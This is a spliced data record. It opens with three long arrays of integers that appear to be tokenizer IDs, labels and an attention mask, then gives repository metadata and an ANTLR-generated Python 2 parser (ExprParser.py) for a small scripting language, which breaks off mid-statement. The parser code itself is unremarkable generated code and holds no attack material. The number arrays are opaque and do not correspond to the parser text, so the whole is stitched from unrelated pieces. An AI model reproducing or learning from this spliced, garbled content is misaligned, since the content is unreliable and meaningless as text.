[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 17065, 701, 5634, 413, 14, 845, 14, 20, 641, 9708, 13, 2036, 13, 1651, 28527, 26, 1229, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 1639, 14, 697, 492, 6180, 12, 1709, 199, 646, 1639, 14, 697, 14, 992, 14, 14281, 421, 199, 533, 12090, 8, 7685, 14, 9816, 304, 339, 2536, 275, 715, 339, 5124, 275, 359, 267, 661, 2482, 63, 2913, 297, 283, 4183, 63, 2747, 659, 267, 661, 14564, 297, 283, 4183, 63, 2747, 659, 272, 1622, 339, 5331, 275, 359, 267, 6180, 14, 14907, 8, 288, 536, 534, 12631, 44, 379, 836, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 2495, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 12, 8437, 29, 797, 12, 3376, 63, 354, 534, 998, 3855, 355, 661, 18646, 63, 2977, 297, 1709, 14, 14071, 4000, 355, 661, 8515, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 16175, 63, 23607, 297, 1709, 14, 8591, 4000, 355, 661, 8595, 63, 8515, 63, 264, 24728, 297, 1709, 14, 13019, 4000, 355, 661, 464, 68, 303, 471, 63, 16886, 297, 1709, 14, 3901, 4000, 355, 661, 1045, 72, 13122, 297, 1709, 14, 8591, 4000, 355, 661, 2923, 63, 496, 3269, 297, 1709, 14, 8591, 4000, 355, 661, 3235, 63, 5891, 1435, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 5301, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 3235, 63, 548, 3269, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 23909, 434, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 328, 433, 32588, 63, 529, 63, 23909, 434, 297, 1709, 14, 8591, 4000, 355, 661, 3856, 63, 328, 433, 32588, 297, 1709, 14, 8591, 4000, 355, 661, 3235, 63, 548, 14948, 63, 475, 63, 602, 297, 1709, 14, 8591, 4000, 355, 661, 23909, 1470, 63, 475, 63, 602, 297, 1709, 14, 8591, 4000, 355, 661, 16175, 63, 475, 63, 602, 297, 1709, 14, 8591, 4000, 355, 661, 9986, 63, 328, 433, 32588, 63, 475, 63, 602, 297, 1709, 14, 8591, 4000, 288, 2156, 267, 2318, 267, 6180, 14, 14907, 8, 288, 536, 534, 39, 285, 434, 8580, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 2495, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 12, 8437, 29, 797, 12, 3376, 63, 354, 534, 998, 3855, 355, 661, 14200, 297, 1709, 14, 25197, 4000, 355, 661, 761, 5561, 10676, 297, 1709, 14, 3190, 8, 265, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 370, 534, 2482, 63, 2913, 14, 497, 338, 1326, 3855, 355, 661, 23909, 434, 297, 1709, 14, 3190, 8, 265, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 370, 534, 14564, 14, 39, 285, 434, 3855, 288, 2156, 267, 2318, 267, 6180, 14, 14907, 8, 288, 536, 534, 14306, 44, 379, 836, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 2495, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 12, 8437, 29, 797, 12, 3376, 63, 354, 534, 998, 3855, 355, 661, 2246, 63, 2977, 297, 1709, 14, 14071, 4000, 355, 661, 2019, 63, 2977, 297, 1709, 14, 14071, 4000, 355, 661, 640, 63, 23607, 297, 1709, 14, 8591, 4000, 355, 661, 270, 711, 500, 63, 23607, 297, 1709, 14, 8591, 4000, 355, 661, 1848, 63, 23607, 297, 1709, 14, 8591, 4000, 355, 661, 2923, 63, 23607, 297, 1709, 14, 8591, 4000, 355, 661, 472, 731, 63, 1866, 297, 1709, 14, 8591, 4000, 355, 661, 1000, 63, 16886, 63, 31597, 297, 1709, 14, 15975, 8, 6355, 63, 10696, 29, 18, 12, 1390, 63, 7022, 29, 24, 1826, 355, 661, 1000, 63, 16886, 297, 1709, 14, 8591, 4000, 355, 661, 13949, 63, 16886, 63, 31597, 297, 1709, 14, 15975, 8, 6355, 63, 10696, 29, 18, 12, 1390, 63, 7022, 29, 24, 1826, 355, 661, 13949, 63, 16886, 297, 1709, 14, 8591, 4000, 355, 661, 640, 63, 16886, 297, 1709, 14, 8591, 4000, 355, 661, 5064, 63, 16886, 297, 1709, 14, 8591, 4000, 355, 661, 1848, 63, 16886, 297, 1709, 14, 8591, 4000, 355, 661, 2923, 63, 16886, 297, 1709, 14, 8591, 4000, 355, 661, 2019, 63, 4482, 63, 16501, 297, 1709, 14, 3901, 4000, 355, 661, 2019, 63, 4482, 63, 16886, 297, 1709, 14, 3901, 4000, 355, 661, 2019, 63, 4482, 63, 3612, 70, 452, 297, 1709, 14, 3901, 4000, 355, 661, 2184, 63, 4482, 63, 846, 63, 16501, 297, 1709, 14, 3901, 4000, 355, 661, 2184, 63, 4482, 63, 71, 3685, 63, 16501, 297, 1709, 14, 3901, 4000, 355, 661, 4899, 63, 262, 63, 2184, 63, 4482, 297, 1709, 14, 25197, 4000, 355, 661, 2184, 63, 4482, 63, 18621, 63, 16501, 297, 1709, 14, 3901, 4000, 355, 661, 8515, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 16175, 63, 23607, 297, 1709, 14, 8591, 4000, 355, 661, 8595, 63, 8515, 63, 264, 24728, 297, 1709, 14, 13019, 4000, 355, 661, 3235, 63, 5891, 1435, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 5301, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 3235, 63, 548, 3269, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 2923, 63, 328, 433, 32588, 297, 1709, 14, 3901, 4000, 355, 661, 328, 433, 32588, 63, 529, 63, 23909, 434, 297, 1709, 14, 8591, 4000, 288, 2156, 267, 2318, 267, 6180, 14, 14907, 8, 288, 536, 534, 10161, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 8757, 792, 8, 3327, 63, 498, 29, 549, 12, 8437, 29, 797, 1826, 355, 661, 466, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1840, 1826, 355, 661, 1802, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1840, 1826, 355, 661, 12964, 297, 1709, 14, 8591, 4000, 355, 661, 9365, 297, 1709, 14, 8591, 4000, 355, 661, 521, 297, 1709, 14, 4626, 4000, 355, 661, 500, 63, 7358, 297, 1709, 14, 8591, 4000, 355, 661, 4551, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 708, 1826, 355, 661, 1648, 63, 344, 297, 1709, 14, 25175, 8, 2307, 29, 549, 1826, 355, 661 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 17065, 701, 5634, 413, 14, 845, 14, 20, 641, 9708, 13, 2036, 13, 1651, 28527, 26, 1229, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 1639, 14, 697, 492, 6180, 12, 1709, 199, 646, 1639, 14, 697, 14, 992, 14, 14281, 421, 199, 533, 12090, 8, 7685, 14, 9816, 304, 339, 2536, 275, 715, 339, 5124, 275, 359, 267, 661, 2482, 63, 2913, 297, 283, 4183, 63, 2747, 659, 267, 661, 14564, 297, 283, 4183, 63, 2747, 659, 272, 1622, 339, 5331, 275, 359, 267, 6180, 14, 14907, 8, 288, 536, 534, 12631, 44, 379, 836, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 2495, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 12, 8437, 29, 797, 12, 3376, 63, 354, 534, 998, 3855, 355, 661, 18646, 63, 2977, 297, 1709, 14, 14071, 4000, 355, 661, 8515, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 16175, 63, 23607, 297, 1709, 14, 8591, 4000, 355, 661, 8595, 63, 8515, 63, 264, 24728, 297, 1709, 14, 13019, 4000, 355, 661, 464, 68, 303, 471, 63, 16886, 297, 1709, 14, 3901, 4000, 355, 661, 1045, 72, 13122, 297, 1709, 14, 8591, 4000, 355, 661, 2923, 63, 496, 3269, 297, 1709, 14, 8591, 4000, 355, 661, 3235, 63, 5891, 1435, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 5301, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 3235, 63, 548, 3269, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 23909, 434, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 328, 433, 32588, 63, 529, 63, 23909, 434, 297, 1709, 14, 8591, 4000, 355, 661, 3856, 63, 328, 433, 32588, 297, 1709, 14, 8591, 4000, 355, 661, 3235, 63, 548, 14948, 63, 475, 63, 602, 297, 1709, 14, 8591, 4000, 355, 661, 23909, 1470, 63, 475, 63, 602, 297, 1709, 14, 8591, 4000, 355, 661, 16175, 63, 475, 63, 602, 297, 1709, 14, 8591, 4000, 355, 661, 9986, 63, 328, 433, 32588, 63, 475, 63, 602, 297, 1709, 14, 8591, 4000, 288, 2156, 267, 2318, 267, 6180, 14, 14907, 8, 288, 536, 534, 39, 285, 434, 8580, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 2495, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 12, 8437, 29, 797, 12, 3376, 63, 354, 534, 998, 3855, 355, 661, 14200, 297, 1709, 14, 25197, 4000, 355, 661, 761, 5561, 10676, 297, 1709, 14, 3190, 8, 265, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 370, 534, 2482, 63, 2913, 14, 497, 338, 1326, 3855, 355, 661, 23909, 434, 297, 1709, 14, 3190, 8, 265, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 370, 534, 14564, 14, 39, 285, 434, 3855, 288, 2156, 267, 2318, 267, 6180, 14, 14907, 8, 288, 536, 534, 14306, 44, 379, 836, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 2495, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 12, 8437, 29, 797, 12, 3376, 63, 354, 534, 998, 3855, 355, 661, 2246, 63, 2977, 297, 1709, 14, 14071, 4000, 355, 661, 2019, 63, 2977, 297, 1709, 14, 14071, 4000, 355, 661, 640, 63, 23607, 297, 1709, 14, 8591, 4000, 355, 661, 270, 711, 500, 63, 23607, 297, 1709, 14, 8591, 4000, 355, 661, 1848, 63, 23607, 297, 1709, 14, 8591, 4000, 355, 661, 2923, 63, 23607, 297, 1709, 14, 8591, 4000, 355, 661, 472, 731, 63, 1866, 297, 1709, 14, 8591, 4000, 355, 661, 1000, 63, 16886, 63, 31597, 297, 1709, 14, 15975, 8, 6355, 63, 10696, 29, 18, 12, 1390, 63, 7022, 29, 24, 1826, 355, 661, 1000, 63, 16886, 297, 1709, 14, 8591, 4000, 355, 661, 13949, 63, 16886, 63, 31597, 297, 1709, 14, 15975, 8, 6355, 63, 10696, 29, 18, 12, 1390, 63, 7022, 29, 24, 1826, 355, 661, 13949, 63, 16886, 297, 1709, 14, 8591, 4000, 355, 661, 640, 63, 16886, 297, 1709, 14, 8591, 4000, 355, 661, 5064, 63, 16886, 297, 1709, 14, 8591, 4000, 355, 661, 1848, 63, 16886, 297, 1709, 14, 8591, 4000, 355, 661, 2923, 63, 16886, 297, 1709, 14, 8591, 4000, 355, 661, 2019, 63, 4482, 63, 16501, 297, 1709, 14, 3901, 4000, 355, 661, 2019, 63, 4482, 63, 16886, 297, 1709, 14, 3901, 4000, 355, 661, 2019, 63, 4482, 63, 3612, 70, 452, 297, 1709, 14, 3901, 4000, 355, 661, 2184, 63, 4482, 63, 846, 63, 16501, 297, 1709, 14, 3901, 4000, 355, 661, 2184, 63, 4482, 63, 71, 3685, 63, 16501, 297, 1709, 14, 3901, 4000, 355, 661, 4899, 63, 262, 63, 2184, 63, 4482, 297, 1709, 14, 25197, 4000, 355, 661, 2184, 63, 4482, 63, 18621, 63, 16501, 297, 1709, 14, 3901, 4000, 355, 661, 8515, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 16175, 63, 23607, 297, 1709, 14, 8591, 4000, 355, 661, 8595, 63, 8515, 63, 264, 24728, 297, 1709, 14, 13019, 4000, 355, 661, 3235, 63, 5891, 1435, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 5301, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 3235, 63, 548, 3269, 63, 835, 297, 1709, 14, 8591, 4000, 355, 661, 2923, 63, 328, 433, 32588, 297, 1709, 14, 3901, 4000, 355, 661, 328, 433, 32588, 63, 529, 63, 23909, 434, 297, 1709, 14, 8591, 4000, 288, 2156, 267, 2318, 267, 6180, 14, 14907, 8, 288, 536, 534, 10161, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 8757, 792, 8, 3327, 63, 498, 29, 549, 12, 8437, 29, 797, 1826, 355, 661, 466, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1840, 1826, 355, 661, 1802, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1840, 1826, 355, 661, 12964, 297, 1709, 14, 8591, 4000, 355, 661, 9365, 297, 1709, 14, 8591, 4000, 355, 661, 521, 297, 1709, 14, 4626, 4000, 355, 661, 500, 63, 7358, 297, 1709, 14, 8591, 4000, 355, 661, 4551, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 708, 1826, 355, 661, 1648, 63, 344, 297, 1709, 14, 25175, 8, 2307, 29, 549, 1826, 355, 661, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
bsn069/ssdb
deps/cpy/ExprParser.py
36
309324
# $ANTLR 3.5 Expr.g 2013-04-12 19:22:24 import sys from antlr3 import * from antlr3.compat import set, frozenset from antlr3.tree import * # for convenience in actions HIDDEN = BaseRecognizer.HIDDEN # token types EOF=-1 T__68=68 T__69=69 T__70=70 T__71=71 T__72=72 T__73=73 T__74=74 T__75=75 T__76=76 T__77=77 T__78=78 T__79=79 T__80=80 T__81=81 T__82=82 T__83=83 T__84=84 T__85=85 T__86=86 T__87=87 T__88=88 T__89=89 T__90=90 T__91=91 T__92=92 T__93=93 T__94=94 T__95=95 T__96=96 T__97=97 T__98=98 T__99=99 T__100=100 T__101=101 T__102=102 T__103=103 T__104=104 T__105=105 T__106=106 T__107=107 T__108=108 T__109=109 T__110=110 T__111=111 T__112=112 T__113=113 T__114=114 T__115=115 T__116=116 T__117=117 T__118=118 T__119=119 T__120=120 T__121=121 T__122=122 T__123=123 T__124=124 T__125=125 T__126=126 T__127=127 T__128=128 T__129=129 T__130=130 T__131=131 T__132=132 T__133=133 T__134=134 T__135=135 T__136=136 ALPHA=4 ARRAY=5 ASSIGN=6 BLOCK=7 BOOL=8 BREAK=9 CALL=10 CASE=11 CATCH=12 CLASS=13 COMMENT=14 CONSTRUCTOR=15 CONTINUE=16 DEFAULT=17 DIGIT=18 DOUBLE_QUOTE_CHARS=19 DO_WHILE=20 EACH=21 EACH_VAL=22 ELSE=23 ELSE_IF=24 EMPTY_LINE=25 EXEC_LIST=26 EXEC_STMT=27 EXPR_LIST=28 FINALLY=29 FLOAT=30 FOR=31 FOREACH=32 FUNCTION=33 ID=34 ID_LIST=35 IF=36 IMPORT=37 INDEX=38 INT=39 LINECOMMENT=40 MEMBER=41 MODULE=42 NEGATIVE=43 NEW=44 NEWLINE=45 NOP=46 NULL=47 OBJECT=48 OP_ASSIGN=49 PARAMS=50 POST_DEC=51 POST_INC=52 PRE_DEC=53 PRE_INC=54 PRINT=55 PRINTF=56 RETURN=57 SINGLE_QUOTE_CHARS=58 SLICE=59 SPRINTF=60 STRING=61 SWITCH=62 THROW=63 TRY=64 VAR=65 WHILE=66 WS=67 # token names tokenNames = [ "<invalid>", "<EOR>", "<DOWN>", "<UP>", "ALPHA", "ARRAY", "ASSIGN", "BLOCK", "BOOL", "BREAK", "CALL", "CASE", "CATCH", "CLASS", "COMMENT", "CONSTRUCTOR", "CONTINUE", "DEFAULT", "DIGIT", "DOUBLE_QUOTE_CHARS", "DO_WHILE", "EACH", "EACH_VAL", "ELSE", "ELSE_IF", "EMPTY_LINE", "EXEC_LIST", "EXEC_STMT", "EXPR_LIST", "FINALLY", "FLOAT", "FOR", "FOREACH", "FUNCTION", "ID", "ID_LIST", "IF", "IMPORT", "INDEX", "INT", "LINECOMMENT", "MEMBER", "MODULE", "NEGATIVE", "NEW", "NEWLINE", "NOP", "NULL", "OBJECT", "OP_ASSIGN", "PARAMS", "POST_DEC", "POST_INC", "PRE_DEC", "PRE_INC", "PRINT", "PRINTF", "RETURN", "SINGLE_QUOTE_CHARS", "SLICE", "SPRINTF", "STRING", "SWITCH", "THROW", "TRY", "VAR", "WHILE", "WS", "'!'", "'!='", "'%'", "'%='", "'&&'", "'&'", "'&='", "'('", "')'", "'*'", "'*='", "'+'", "'++'", "'+='", "','", "'-'", "'--'", "'-='", "'.'", "'.*'", "'..'", "'/'", "'/='", "':'", "';'", "'<'", "'<='", "'='", "'=='", "'=>'", "'>'", "'>='", "'['", "']'", "'^'", "'^='", "'as'", "'break'", "'case'", "'catch'", "'class'", "'continue'", "'default'", "'do'", "'else'", "'extends'", "'finally'", "'for'", "'foreach'", "'function'", "'if'", "'import'", "'init'", "'new'", "'print'", "'printf'", "'public'", "'return'", "'sprintf'", "'static'", "'switch'", "'throw'", "'try'", "'while'", "'{'", "'|'", "'|='", "'||'", "'}'" ] class ExprParser(Parser): grammarFileName = "Expr.g" api_version = 1 tokenNames = tokenNames def __init__(self, input, state=None, *args, **kwargs): if state is None: state = RecognizerSharedState() super(ExprParser, self).__init__(input, state, *args, **kwargs) self.dfa6 = self.DFA6( self, 6, eot = self.DFA6_eot, eof = self.DFA6_eof, min = self.DFA6_min, max = self.DFA6_max, accept = self.DFA6_accept, special = self.DFA6_special, transition = self.DFA6_transition ) self.delegates = [] self._adaptor = None self.adaptor = CommonTreeAdaptor() def getTreeAdaptor(self): return self._adaptor def setTreeAdaptor(self, adaptor): self._adaptor = adaptor adaptor = property(getTreeAdaptor, setTreeAdaptor) class prog_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.prog_return, self).__init__() self.tree = None # $ANTLR start "prog" # Expr.g:33:1: prog : ( EOF -> NOP | ( stmt )* ); def prog(self, ): retval = self.prog_return() retval.start = self.input.LT(1) root_0 = None EOF1 = None stmt2 = None EOF1_tree = None stream_EOF = RewriteRuleTokenStream(self._adaptor, "token EOF") try: try: # Expr.g:34:2: ( EOF -> NOP | ( stmt )* ) alt2 = 2 LA2_0 = self.input.LA(1) if (LA2_0 == EOF) : LA2_1 = self.input.LA(2) if (LA2_1 == EOF) : alt2 = 1 else: if self._state.backtracking > 0: raise BacktrackingFailed nvae = NoViableAltException("", 2, 1, self.input) raise nvae elif (LA2_0 == ID or LA2_0 == 80 or LA2_0 == 84 or LA2_0 == 92 or LA2_0 == 105 or (108 <= LA2_0 <= 109) or LA2_0 == 111 or (115 <= LA2_0 <= 119) or (122 <= LA2_0 <= 123) or LA2_0 == 125 or (128 <= LA2_0 <= 131)) : alt2 = 2 else: if self._state.backtracking > 0: raise BacktrackingFailed nvae = NoViableAltException("", 2, 0, self.input) raise nvae if alt2 == 1: # Expr.g:34:4: EOF pass EOF1 = self.match(self.input, EOF, self.FOLLOW_EOF_in_prog211) if self._state.backtracking == 0: stream_EOF.add(EOF1) # AST Rewrite # elements: # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 34:8: -> NOP self._adaptor.addChild(root_0, self._adaptor.createFromType(NOP, "NOP") ) retval.tree = root_0 elif alt2 == 2: # Expr.g:35:4: ( stmt )* pass root_0 = self._adaptor.nil() # Expr.g:35:4: ( stmt )* while True: #loop1 alt1 = 2 LA1_0 = self.input.LA(1) if (LA1_0 == ID or LA1_0 == 80 or LA1_0 == 84 or LA1_0 == 92 or LA1_0 == 105 or (108 <= LA1_0 <= 109) or LA1_0 == 111 or (115 <= LA1_0 <= 119) or (122 <= LA1_0 <= 123) or LA1_0 == 125 or (128 <= LA1_0 <= 131)) : alt1 = 1 if alt1 == 1: # Expr.g:35:4: stmt pass self._state.following.append(self.FOLLOW_stmt_in_prog220) stmt2 = self.stmt() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, stmt2.tree) else: break #loop1 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "prog" class stmt_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.stmt_return, self).__init__() self.tree = None # $ANTLR start "stmt" # Expr.g:38:1: stmt : ( ';' ->| exec_stmt | import_stmt | print_stmt | printf_stmt | break_stmt | continue_stmt | return_stmt | if_stmt | while_stmt | do_while_stmt | switch_stmt | for_stmt | foreach_stmt | throw_stmt | try_stmt | func_decl | class_decl ); def stmt(self, ): retval = self.stmt_return() retval.start = self.input.LT(1) root_0 = None char_literal3 = None exec_stmt4 = None import_stmt5 = None print_stmt6 = None printf_stmt7 = None break_stmt8 = None continue_stmt9 = None return_stmt10 = None if_stmt11 = None while_stmt12 = None do_while_stmt13 = None switch_stmt14 = None for_stmt15 = None foreach_stmt16 = None throw_stmt17 = None try_stmt18 = None func_decl19 = None class_decl20 = None char_literal3_tree = None stream_92 = RewriteRuleTokenStream(self._adaptor, "token 92") try: try: # Expr.g:39:2: ( ';' ->| exec_stmt | import_stmt | print_stmt | printf_stmt | break_stmt | continue_stmt | return_stmt | if_stmt | while_stmt | do_while_stmt | switch_stmt | for_stmt | foreach_stmt | throw_stmt | try_stmt | func_decl | class_decl ) alt3 = 18 LA3 = self.input.LA(1) if LA3 == 92: alt3 = 1 elif LA3 == ID or LA3 == 80 or LA3 == 84: alt3 = 2 elif LA3 == 119: alt3 = 3 elif LA3 == 122: alt3 = 4 elif LA3 == 123: alt3 = 5 elif LA3 == 105: alt3 = 6 elif LA3 == 109: alt3 = 7 elif LA3 == 125: alt3 = 8 elif LA3 == 118: alt3 = 9 elif LA3 == 131: alt3 = 10 elif LA3 == 111: alt3 = 11 elif LA3 == 128: alt3 = 12 elif LA3 == 115: alt3 = 13 elif LA3 == 116: alt3 = 14 elif LA3 == 129: alt3 = 15 elif LA3 == 130: alt3 = 16 elif LA3 == 117: alt3 = 17 elif LA3 == 108: alt3 = 18 else: if self._state.backtracking > 0: raise BacktrackingFailed nvae = NoViableAltException("", 3, 0, self.input) raise nvae if alt3 == 1: # Expr.g:39:4: ';' pass char_literal3 = self.match(self.input, 92, self.FOLLOW_92_in_stmt232) if self._state.backtracking == 0: stream_92.add(char_literal3) # AST Rewrite # elements: # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 39:8: -> root_0 = None retval.tree = root_0 elif alt3 == 2: # Expr.g:40:4: exec_stmt pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_exec_stmt_in_stmt239) exec_stmt4 = self.exec_stmt() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, exec_stmt4.tree) elif alt3 == 3: # Expr.g:41:4: import_stmt pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_import_stmt_in_stmt244) import_stmt5 = self.import_stmt() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, import_stmt5.tree) elif alt3 == 4: # Expr.g:42:4: print_stmt pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_print_stmt_in_stmt249) print_stmt6 = self.print_stmt() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, print_stmt6.tree) elif alt3 == 5: # Expr.g:42:17: printf_stmt pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_printf_stmt_in_stmt253) printf_stmt7 = self.printf_stmt() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, printf_stmt7.tree) elif alt3 == 6: # Expr.g:43:4: break_stmt pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_break_stmt_in_stmt258) break_stmt8 = self.break_stmt() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, break_stmt8.tree) elif alt3 == 7: # Expr.g:44:4: continue_stmt pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_continue_stmt_in_stmt263) continue_stmt9 = self.continue_stmt() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, continue_stmt9.tree) elif alt3 == 8: # Expr.g:45:4: return_stmt pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_return_stmt_in_stmt268) return_stmt10 = self.return_stmt() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, return_stmt10.tree) elif alt3 == 9: # Expr.g:46:4: if_stmt pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_if_stmt_in_stmt273) if_stmt11 = self.if_stmt() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, if_stmt11.tree) elif alt3 == 10: # Expr.g:47:4: while_stmt pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_while_stmt_in_stmt278) while_stmt12 = self.while_stmt() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, while_stmt12.tree) elif alt3 == 11: # Expr.g:48:4: do_while_stmt pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_do_while_stmt_in_stmt283) do_while_stmt13 = self.do_while_stmt() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, do_while_stmt13.tree) elif alt3 == 12: # Expr.g:49:4: switch_stmt pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_switch_stmt_in_stmt288) switch_stmt14 = self.switch_stmt() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, switch_stmt14.tree) elif alt3 == 13: # Expr.g:50:4: for_stmt pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_for_stmt_in_stmt293) for_stmt15 = self.for_stmt() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, for_stmt15.tree) elif alt3 == 14: # Expr.g:51:4: foreach_stmt pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_foreach_stmt_in_stmt298) foreach_stmt16 = self.foreach_stmt() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, foreach_stmt16.tree) elif alt3 == 15: # Expr.g:52:4: throw_stmt pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_throw_stmt_in_stmt303) throw_stmt17 = self.throw_stmt() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, throw_stmt17.tree) elif alt3 == 16: # Expr.g:53:4: try_stmt pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_try_stmt_in_stmt308) try_stmt18 = self.try_stmt() self._state.following.pop() if 